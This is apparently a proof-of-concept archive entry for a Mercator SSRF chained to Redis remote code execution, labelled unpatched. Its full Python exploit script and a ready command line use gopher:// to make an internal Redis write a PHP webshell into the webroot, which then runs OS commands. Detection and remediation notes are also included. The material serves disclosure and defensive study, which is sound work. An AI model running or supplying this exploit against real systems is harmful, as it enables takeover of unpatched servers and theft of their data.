PoC Archive PoC Archive
Critical CVE-2026-49345 unpatched

Mercator Configuration SSRF Chained to Internal Redis RCE (CVE-2026-49345)

by hadhub · 2026-07-05

Severity
Critical
CVE
CVE-2026-49345
Category
web
Affected product
Mercator (sourcentis/mercator vulnerability-management web app), ConfigurationController::testProvider
Affected versions
Not specified in source
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcherhadhub
CVE / AdvisoryCVE-2026-49345
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsssrf, redis, rce, gopher, webshell, internal-network-pivot, php, mercator
RelatedN/A

Affected Target

FieldValue
Software / SystemMercator (sourcentis/mercator vulnerability-management web app), ConfigurationController::testProvider
Versions AffectedNot specified in source
Language / PlatformPHP web application, exploited via Python 3 requests
Authentication RequiredYes — any account holding the configure permission (granted to the default User role)
Network Access RequiredYes

Summary

This repository contains two Python PoCs that abuse an unvalidated provider URL parameter in Mercator’s ConfigurationController::testProvider endpoint, which the server fetches with libcurl. ssrf2scan.py uses the telnet:// scheme to turn the SSRF into a blind TCP port scanner (timing-based open/closed oracle) against hosts reachable from the Mercator server. ssrf2rce.py uses the gopher:// scheme to smuggle raw RESP-encoded Redis protocol commands to an internal Redis instance, using CONFIG SET dir/CONFIG SET dbfilename/SET/SAVE to write a PHP webshell directly into the Mercator webroot, achieving remote code execution. A companion reset-lab.sh restores the lab (deletes the webshell, flushes Redis) between exploit runs.


Vulnerability Details

Root Cause

The provider parameter passed to ConfigurationController::testProvider is fetched server-side via curl without scheme or destination restriction. Because libcurl supports non-HTTP schemes such as telnet:// and gopher://, an authenticated low-privilege user (any account with the configure permission, granted by default to the User role) can make the server originate arbitrary raw TCP connections and protocol payloads to hosts/ports on the internal network.

Attack Vector

  1. Attacker authenticates to Mercator as a low-privilege account that has the configure permission.
  2. Attacker submits a crafted provider value (e.g. telnet://target:port#) to the config “test provider” endpoint; the trailing # truncates the appended /api/dbInfo suffix as a URL fragment.
  3. For port scanning (ssrf2scan.py), the response time to the telnet:// probe (fast TCP RST vs. 10-second curl timeout) is used as an open/closed oracle across a target host and port list.
  4. For RCE (ssrf2rce.py), the attacker encodes Redis RESP protocol commands and wraps them in a gopher://redis-host:6379/_<encoded-bytes># URL; Mercator’s curl call delivers the raw bytes to Redis, which parses and executes them.
  5. The attacker pipelines CONFIG SET dir <webroot>, CONFIG SET dbfilename <name>.php, SET <key> <php-webshell-body>, and SAVE, causing Redis to write a PHP webshell file into the web-server-served directory.
  6. The attacker requests the dropped file (e.g. /poc.php?c=id) to execute arbitrary OS commands via the web server.

Impact

Full server compromise: SSRF enables internal network reconnaissance (port scanning of otherwise unreachable hosts) and, when an internal Redis instance is reachable without authentication/protected-mode, remote code execution via a dropped webshell.


Environment / Lab Setup

Target:   Mercator web application (PHP) + colocated internal Redis instance (redis:latest, protected-mode disabled) reachable from the Mercator container's network
Attacker: Python 3 (requests) issuing authenticated HTTP requests to Mercator's "test provider" configuration endpoint

Proof of Concept

PoC Script

See ssrf2scan.py, ssrf2rce.py, and reset-lab.sh in this folder.

1
2
3
python3 ssrf2scan.py --base http://IP_MERCATOR:PORT --user "$MERCATOR_USERNAME" --password "$MERCATOR_PASSWORD" --target 127.0.0.1 --ports 3306

python3 ssrf2rce.py --base http://IP_MERCATOR:PORT --user "$MERCATOR_USERNAME" --password "$MERCATOR_PASSWORD" --redis 127.0.0.1:6379 --pipeline CONFIG SET dir /var/www/mercator/public ';' CONFIG SET dbfilename poc.php ';' SET poc $'\n\n<?php system($_GET["c"]); ?>\n\n' ';' SAVE

ssrf2scan.py logs in, confirms the account has the configure permission, and reports OPEN/CLOSED for each requested host:port based on response timing. ssrf2rce.py logs in, RESP-encodes the given Redis command pipeline, wraps it as a gopher:// URL, and submits it through the same configuration endpoint, causing Redis to persist a PHP webshell into the Mercator webroot that can then be invoked directly over HTTP.


Detection & Indicators of Compromise

Signs of compromise:

  • Configuration endpoint logs showing provider values using telnet:// or gopher:// schemes
  • Redis CONFIG GET dir/dbfilename reflecting a value under the web server’s document root
  • New PHP files in the webroot accepting a command parameter (e.g. ?c=) and executing system()/exec()

Remediation

ActionDetail
Primary fixRestrict testProvider’s outbound requests to an allow-listed scheme (http/https) and destination; validate/resolve the host and reject internal/private IP ranges (SSRF filtering)
Interim mitigationEnable Redis protected-mode and require authentication (requirepass), bind Redis to localhost only, and enforce network segmentation so the Mercator host cannot reach internal management services it doesn’t need

References


Notes

Mirrored from https://github.com/hadhub/CVE-2026-49345-Mercator-SSRF on 2026-07-05.

ssrf2rce.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#!/usr/bin/env python3
"""
Mercator SSRF -> gopher:// -> Redis helper.

Sends ONE Redis command (or a small pipeline of them) to an internal Redis
instance through the SSRF in `ConfigurationController::testProvider`.

Why this works
--------------
1. The vulnerable controller calls `curl_init($provider . '/api/dbInfo')`.
   We append `#` to our URL so curl drops the `/api/dbInfo` suffix as a
   URL fragment.
2. libcurl in the deployed PHP container speaks `gopher://`. Gopher URLs
   of the form `gopher://host:port/_<bytes>` send `<bytes>` raw on the
   wire after dropping the single type character `_`.
3. We URL-encode RESP-encoded Redis commands as `<bytes>`. Redis happily
   parses them and executes.

Auth
----
Any account with the `configure` permission. By default Mercator grants
this to the `User` role, so a regular low-privilege account is sufficient.

Usage
-----
    # Single command
    ./bin/python3 ssrf2redis.py \\
        --base http://127.0.0.1:8000 \\
        --user lowuser --password 'Lowuser123!' \\
        --redis 127.0.0.1:6379 \\
        --cmd SET ssrf_proof 'pwned-by-low-priv'

    # Pipeline (commands separated by a literal ';' token)
    ./bin/python3 ssrf2redis.py ... --pipeline \\
        FLUSHALL ';' \\
        SET marker hello ';' \\
        CONFIG GET dir

The script reports the flash message returned by Mercator (an oracle), not
the Redis reply — gopher is fire-and-forget here; verify the effect with a
follow-up command or out-of-band check.
"""
import argparse
import re
import sys
import urllib.parse
import warnings

# macOS system Python links LibreSSL; urllib3 v2 emits a one-time
# NotOpenSSLWarning when imported. Purely cosmetic for this PoC — filter
# it before `requests` pulls urllib3 in (disable_warnings() runs too late,
# the warning fires at import time).
warnings.filterwarnings("ignore", message=r"urllib3 v2 only supports OpenSSL")

import requests
import urllib3
urllib3.disable_warnings()

LOGIN_TOKEN_RE = re.compile(r'name="_token"\s+value="([^"]+)"')
CSRF_META_RE = re.compile(r'name="csrf-token"\s+content="([^"]+)"')
FLASH_RE = re.compile(r'(Could not connect to provider[^<"\']*|Last NVD update:[^<"\']*)')


# ── Shared scaffold (identical across the Mercator exploit scripts) ──────────

def log(message):
    """Status banner — emitted on stderr so stdout stays pure result data."""
    print(message, file=sys.stderr)


def die(message):
    log(f"[!] {message}")
    sys.exit(1)


def login(session, base, user, password):
    """Authenticate, print the login section, and return the CSRF token."""
    r = session.get(f"{base}/login", timeout=10)
    m = LOGIN_TOKEN_RE.search(r.text)
    if not m:
        die("CSRF token not found on /login")
    r = session.post(
        f"{base}/login",
        data={"_token": m.group(1), "login": user, "password": password},
        timeout=10, allow_redirects=True,
    )
    if r.url.rstrip("/").endswith("/login"):
        die(f"authentication failed for '{user}'")
    m = CSRF_META_RE.search(r.text) or LOGIN_TOKEN_RE.search(r.text)
    if not m:
        die("CSRF token not found after login")
    csrf = m.group(1)
    log("[+] login")
    log(f"    user       : {user}")
    for c in session.cookies:
        log(f"    cookie     : {c.name}={c.value}")
    log(f"    csrf token : {csrf}")
    return csrf


# ── SSRF -> gopher -> Redis ─────────────────────────────────────────────────

def require_configure(session, base):
    """Confirm the account holds the `configure` permission."""
    r = session.get(f"{base}/admin/config/parameters?tab=cve", timeout=10)
    if r.status_code == 403:
        die("account lacks the 'configure' permission")


def resp_encode(command):
    """Encode a single Redis command (list of str/bytes) as a RESP array."""
    parts = [f"*{len(command)}\r\n".encode()]
    for a in command:
        if isinstance(a, str):
            a = a.encode()
        parts.append(f"${len(a)}\r\n".encode() + a + b"\r\n")
    return b"".join(parts)


def build_pipeline(items):
    """Split a flat list at the literal ';' separator -> list of commands."""
    cmds, current = [], []
    for tok in items:
        if tok == ";":
            if current:
                cmds.append(current)
                current = []
        else:
            current.append(tok)
    if current:
        cmds.append(current)
    return cmds


def fire(session, base, csrf, gopher_url):
    """Send the gopher payload and return Mercator's flash message."""
    session.post(
        f"{base}/admin/config/parameters",
        data={
            "_token": csrf,
            "_method": "PUT",
            "active_tab": "cve",
            "action": "test_provider",
            "provider": gopher_url,
        },
        allow_redirects=False, timeout=20,
    )
    page = session.get(f"{base}/admin/config/parameters?tab=cve").text
    m = FLASH_RE.search(page)
    return m.group(1) if m else "(no flash captured)"


def main():
    ap = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter, description=__doc__)
    ap.add_argument("--base", default="http://127.0.0.1:8000", help="Mercator base URL")
    ap.add_argument("--user", required=True, help="account login")
    ap.add_argument("--password", required=True)
    ap.add_argument("--redis", required=True, help="host:port of the target Redis")
    ap.add_argument("--cmd", nargs="+", help="single Redis command, e.g. SET k v")
    ap.add_argument("--pipeline", nargs="+",
                    help="multiple commands separated by a literal ';' token, "
                         "e.g. FLUSHALL ';' SET k v ';' SAVE")
    args = ap.parse_args()

    if args.cmd and args.pipeline:
        die("use either --cmd or --pipeline, not both")
    if not args.cmd and not args.pipeline:
        die("provide --cmd or --pipeline")

    commands = [args.cmd] if args.cmd else build_pipeline(args.pipeline)
    raw = b"".join(resp_encode(c) for c in commands)
    gopher_url = f"gopher://{args.redis}/_{urllib.parse.quote(raw, safe='')}#"

    session = requests.Session()
    session.verify = False
    csrf = login(session, args.base, args.user, args.password)
    require_configure(session, args.base)

    log(f"[*] sending {len(commands)} Redis command(s) to {args.redis} via gopher SSRF")
    for c in commands:
        log(f"    - {' '.join(c)}")
    flash = fire(session, args.base, csrf, gopher_url)
    log(f"[+] flash: {flash}")
    log("[*] flash is Mercator's view of the gopher response, not Redis — "
        "verify side effects out-of-band")


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        die("interrupted")
    except requests.RequestException as e:
        die(f"could not reach Mercator: {e}")